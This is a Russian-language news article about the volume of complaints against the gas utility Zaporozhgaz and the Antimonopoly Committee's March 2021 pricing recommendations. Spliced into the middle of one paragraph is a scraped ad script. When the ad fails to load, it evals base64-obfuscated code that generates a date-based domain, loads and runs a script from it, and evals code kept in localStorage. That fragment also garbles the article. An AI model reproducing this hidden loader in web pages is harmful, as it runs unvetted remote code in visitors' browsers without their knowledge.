Работа АО «Запорожгаз» и «Запорожгаз Сбыт» все чаще подвергаются критике от потребителей из-за некачественного предоставления услуг и драконовских тарифов.
В Запорожской ОГА и на сайте Антимонопольного комитета вышли пресс-релизы по этому поводу.
Так, в замглавы ЗОГА Эдуард Брутман рассказл, что с начала года на действия газовиков к облгосадминистрации поступило 824 жалобы, в 40 раз больше, чем на все остальные властные и коммунальные структуры вместе взятые.
Он добавил отметил, что компания должна изменить формы и методы работы с абонентами и быть более дружелюбным к своим клиентам. Чиновник обратил внимание, что работники АО «Запорожгаз» могут заходить на территорию частного двора без хозяина только в случаях утечки газа или другой чрезвычайной ситуации, несет реальную угрозу жизни и здоровью граждан.
Технический директор АО «Запорожгаз» Юрий Заставский заверил, что в период карантина компания выполняет требования закона но не отключает должников. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
В это же время 23 марта на сайте Антимонопольного комитета заяаили, что увеличение газоснабжающими компаниями розничных цен на природный газ для бытовых потребителей должно быть должным образом обоснованным. При этом, население должно быть своевременно проинформированы об изменении цены газа.
Учитывая вышесказанное, на заседании 23 марта 2021 АМКУ рекомендовал газопоставщикам («Запорожгаз Сбыт» в том числе) следующее:
в случае изменения цен на природный газ принять меры по своевременному информированию бытовых потребителей до введения их в действие.
принять меры по установлению с 1 апреля 2021 цен на природный газ на уровне, который существовал бы в условиях значительной конкуренции на рынке поставок природного газа бытовым потребителям.
Напомним, офис «Запорожгаза» уже дважды за две недели «штурмовали» недовольные абоненты. Подробности: Протестующие окружили главу «Запорожгаза» и завалили вопросами (ФОТО, ВИДЕО) (adsbygoogle = window.adsbygoogle || []).push({});
Подписывайтесь на Акцент в 
Источник: https://akzent.zp.ua/izvestno-kak-chasto-potrebiteli-zhaluyutsya-na-zaporozhgaz-monopolistu-vystavili-trebovaniya/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
